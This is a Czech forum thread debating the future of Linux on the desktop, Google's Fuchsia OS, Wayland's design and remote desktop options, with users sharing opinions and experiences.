> Pls neberte to jako hate. Je samozřejmě úžasné, že se amatérům bez jakéhokoliv pokusu o systémovou architekturu podařilo napsat funkční kernel, který je podstatě použitelný, a díky nulové ceně dokonce používaný. A je úžasné, že se poměrně malému počtu lidí s minimální koordinací během let povedlo vytvořit v podstatě funkční desktopové prostředí (byť šlo zpočátku o kopii CDE od HP). Jenže to má své limity. Kernel, libc a utility mají design daný převážně od univerzit a Bell Labs, takže stačí napsat to co popisuje dokumentace a co kdysi učili na školách (tj. klasický unixový monolitický kernel s BKL). Bohužel kde tohle vedení chybí, tam se vývoj rozpadá. Tenhle bazaar pak vede k věčným polotovarům, a ne k hotovým, dotaženým a funkčním produktům. Někdy z toho guláše něco vytáhne komerční firma a něco dalšího na tom postaví, třeba Google. Ale všimněte si, že i ten Google podle všeho zahodí Linux ve prospěch Fuchsia OS.
A o tom to presne je - je to stavebnice, nekdo si z toho neco vezme a udela z toho neco noveho pro sve potreby. Takze diky tomu Android ci ChromeOS stavi na Linuxu, PS4 na FreeBSD atd.
A jestli Google prejde na Fuchsia nebo co z ni vlastne bude - to se uvidi. Popravde, me osobne je to celkem fuk, Android Linuxu jako takovemu nikdy nic moc neprinesl
A je potreba mit z Linuxu desktop pro masy? Vubec ne. Me bohate staci, ze se z SW jeho ekosystemu ten desktop da postavit funkcni (ci specializovany).
Nemyslim si,ze treba RH ci kdokoliv z Linux vendoru, ma snahu srazit dominantu MS na desktopu, naopak si myslim, ze zde mohou ruzne systemy krasne koexistovat a kopirovat od sebe dobre features. A uzivatele si sami vyberou, co budou chtit pouzivat pro jejich use case.
A stejne resit dneska desktop - kdyz vse smeruje k tomu, ze vetsina aplikaci bude bezet v prohlizeci, no nevim ti zda se o tom ma smysl hadat, v ktery bootstrapper pro Chrome/Edge/... uzivatel pouzije :-)
A on si to myslim docela dobre uvedomuje i MS - konec koncu zrovna opravuji zakaznikovu aplikaci na Linuxu v VS Code a cela aplikace mi bezi .NET Core tez na Linuxu :-)
Osobne si myslim, ze jsme na konci masove ery klasickych PC, coz me mrzi i sere. Ale je to vyvoj - stejne jako se z desktopvych aplikaci zacaly stavat pomerne specializovane kusy SW pro specificke skupiny uzivatelu, tak tohle je bohuzel jen pokracovanim tohoto trendu.
Já s dovolením začnu od konce. Google píše Fuchsia OS, a je to jejich pokus o "Windows NT", tedy dobrý OS, který se dá použít všude. Bude podle všeho schopný běžet i aplikace psané pro Android. Google dávno udržuje vlastní kernel oddělený od mainstream Linuxu, a snaží se vyhýbat GPL licenci (proto nepoužívá ani glibc). Tímhle bude proces završený, navíc to vyřeší problém s Javou (vizte soud s Oraclem). Pokud jim to vyjde, čekejte výsledek v produkci tak okolo let 2019-2020.
Co potom zbude z Linuxu? Na desktopu se moc neuchytil, na herní scéně také ne (podíl Linuxu na Steamu setrvale padá, SteamOS je podle všeho mrtvola; BTW ve Valve zakázali pro SteamOS suspend s komentářem "Given the state of hardware and software support throughout the graphics stack on Linux we didn't think we could make this reliable", což také dost vypovídá). Sen o mainstreamovém Linuxu se tedy rozplývá, a s ním asi odejde i spousta "protestních" vývojářů, kteří chtěli "lepší svět bez Microsoftu". Paradoxně budou mít "lepší svět" s Microsoftem, Googlem a Applem :). Telefony pojedou Fuchsia OS (nějakou část si urvou Apple a MS), totéž se dá čekat u set top boxů, televizí, ledniček, a nejspíš dalších domácích krabiček. Takže zbývá server, kde Linux už léta nahrazuje klasické Unixy. K tomu ovšem není potřeba moc desktopové funkcionality, podpory grafiky, power managementu atd. V podstatě postačí kopie Unixů z roku 1990. To zavání tím, že z Linuxu bude něco jako BSD: okrajový systém, který je v principu použitelný na speciality, ale je ztraceně daleko od mainstreamu.
https://github.com/ValveSoftware/SteamOS/issues/259
https://arstechnica.com/gadgets/2017/05/googles-fuchsia-smartphone-os-dumps-linux-has-a-wild-new-ui/
Ad Situace s pristupem vendoru k bezpecnostnim aktualizacim je tristni - ano, ale nový OS může Google licencovat odlišně, a hlavně může daleko lépe oddělit kernel od driverů a RIL, což umožní patchování nezávislé na výrobci telefonu. Stejně to dělají Windows.
Ad Holt se vyrobci Android telefonu chteji degradovat na montovny HW - oni nemají moc jiných možností, protože coby výrobci HW neumí psát SW.
Ad katedrala vs bazar. Oboje ma svoje vyhody i nevyhody - za mě jeden z těch modelů vede k dotaženým produktům, a druhý k dortu z tvarohu, skořice, česneku, kostí a myší :). Samozřejmě existují výjimky na obou stranách.
Ad me tahle kombinace chuda neprijde, co ti tam chybi - namátkou třeba veškará API pro správu systému: změnu IP adresy, přidání/spuštění/zastavení služby, přidání uživatele, defragmentaci disku, plánování úloh, přimountování image atd. Navíc tam nevidím ani možnost nastavit souboru ACL. A neřeší 3D kreslicí API, 3D stereoskopický obraz, VR, skenování (WIA), kompresi a dekompresi multimédií, rozeznávání mluveného slova, koordinaci distribuovaných transakcí s třífázovým commitem (MSDTC) a řadu dalších věcí.
Ad MS samozrejme na udrzeni zpetne kompatibility musi vynakladat mnohem vetsi usili diky svemu ekosystemu. Linuxovi vendroi... maji pod kontrolou aplikace - což znamená že aplikace buď máte od vendora připravené pro danou verzi daného distra, nebo máte problém. Pokud vývojář nechce dát svoji aplikace pod GPL a zdarma, tak mu nestačí uvolnit verzi "pro Linux". Musí sám připravit balíček opět pro každou verzi každého distra, přečemž nové verze dister vycházejí ztraceně často. Fragmentovaná plaforma, dokumentace nejrůznějších kvalit, obtížný deployment aplikací, nutnost vyhnout se GPL licenci... To se pak nedivte, že desktopových aplikací je na Linuxu pomálu.
Ad O designu waylandu se muzes docist zde - to je popis architektury (mimochodem dopsaný zpětně, protože když jsem se zajímal před nějakou dobou, tak neexistovalo nic vyjma pár prezentací), nikoliv zadávací dokumentace. SW se nepíše tak že si vývojář sedne a začne psát co ho napadne, s tím že by to nakonec mohlo být dobré. Píše se pro konkrétní skupinu lidí, pro řešení konkrétních potřeb, s požadavkem na konkrétní výsledky. V komerční sféře obyčejně i s nějakým plánováním a rozpočtem :)
Ad Wayland byl od pocatku navrzeny jako protokol, ktery nebude sitovy - pak je kvůli vzdálenému přístupu potřeba dělat rovnák na ohýbák. Nebylo by bývalo lepší se na začátku zamyslet a sepsat zadávací dokumentaci, kde by mimo jiné stálo "musí podporovat vzdálený přístup, ve verzi 1.0 minimálně na úrovni architektury připravené pro tento účel", než udělat ohýbák, a pak vymýšlet jak udělat ten rovnák?
Ad SPICE na KVM hosty, pouzitelne to je bez jakychkoliv vetsich problemu - to ovšem asi používáte na lokální síti. Větší firmy potřebují z Indie jít na server který běží v Buenos Aires, a z Johannesburgu na server který je v Praze. Často z mobilního připojení, přes SSL VPN (nebo v případě RDP přes SSL gateway). RDP s tím nemá problém: vrazíte do telefonu místní SIM (jen šílenec by platil datový roaming), připojíte notebook, a jede to. Není to úplně jako lokální session, ale je to velmi dobře použitelné. Kdyby bylo potřeba přenášet kompletní obraz při každé jeho změně, tak bych člověk brzo hodil mašli. To pak opravdu nezbývá než použít SSH.
Ad smeruje k tomu, ze vetsina aplikaci bude bezet v prohlizeci - pokud myslíte Facebook a Youtube, tak jistě ano. Ale webové aplikace pro práci mi přijdou jako špatný nápad. Umí toho méně než desktopové aplikace pro Windows 3.1 (nedají se ovládat z klávesnice, neumí tisknout, skenovat...), ale zato sežerou GB paměti a spoustu CPU. Za mě tudy ne.
Ad myslim, ze jsme na konci masove ery klasickych PC, coz me mrzi i sere. Ale je to vyvoj; stejne jako se z desktopvych aplikaci zacaly stavat pomerne specializovane kusy SW pro specificke skupiny uzivatelu - souhlas, na poslech hudby, hraní her, sjíždění Facebooku nebo koukání na film opravdu není potřeba desktop. Na práci ale nic lepšího než desktop nemáme, a asi dlouho mít nebudeme. Otázka je, jestli MS uhájí svoji roli na desktopu a serverech, nebo jestli mu ji vezme třeba Google s Fuchsia OS (pokusy o desktop s Androidem tu už jsou). To by bylo dost mizerné, protože Google je dost drsný šmírák.
Pouzivam Fedoru. Prechod z F24 na F25, kde byl Wayland jako vychozi byl bez problemu. Jedinou drobnost, kterou jsem zaznamenal, byla nefunkcnost zaznamu plochy pres ffmpeg (twitch streaming). Wayland se lisi a proto tohle zrovna nefungovalo. Jinak nic. Semtam si pustim nejakou tu hru (Minecraft, Factorio, FlightGear apod.) a take bez problemu. Brouzdani pres Firefox, VLC na filmy, vse bez sebemensiho zadrhelu. Jedna se o notebooky s Nvidii (jeden s prepinatelnou grafikou pres bumblebee).
ten by měl tam být, dle info...
27.11.2011 KMS pro VirtualBox
https://www.abclinuxu.cz/zpravicky/chysta-se-kms-pro-virtualbox
Tak mě napadá, jak to vlastně fungovalo ve starých distrech za dob Xfree a jádra 1.2.x? Tehdy nebylo žádné DRM ani GEM, tak jak vlastně Xfree operovalo s hw registry grafických karet? Běžel snad X server s kernelovými právy, nebo mělo jádro nějaký univerzální backdoor, kterým šlo přistupovat přímo k hardware?
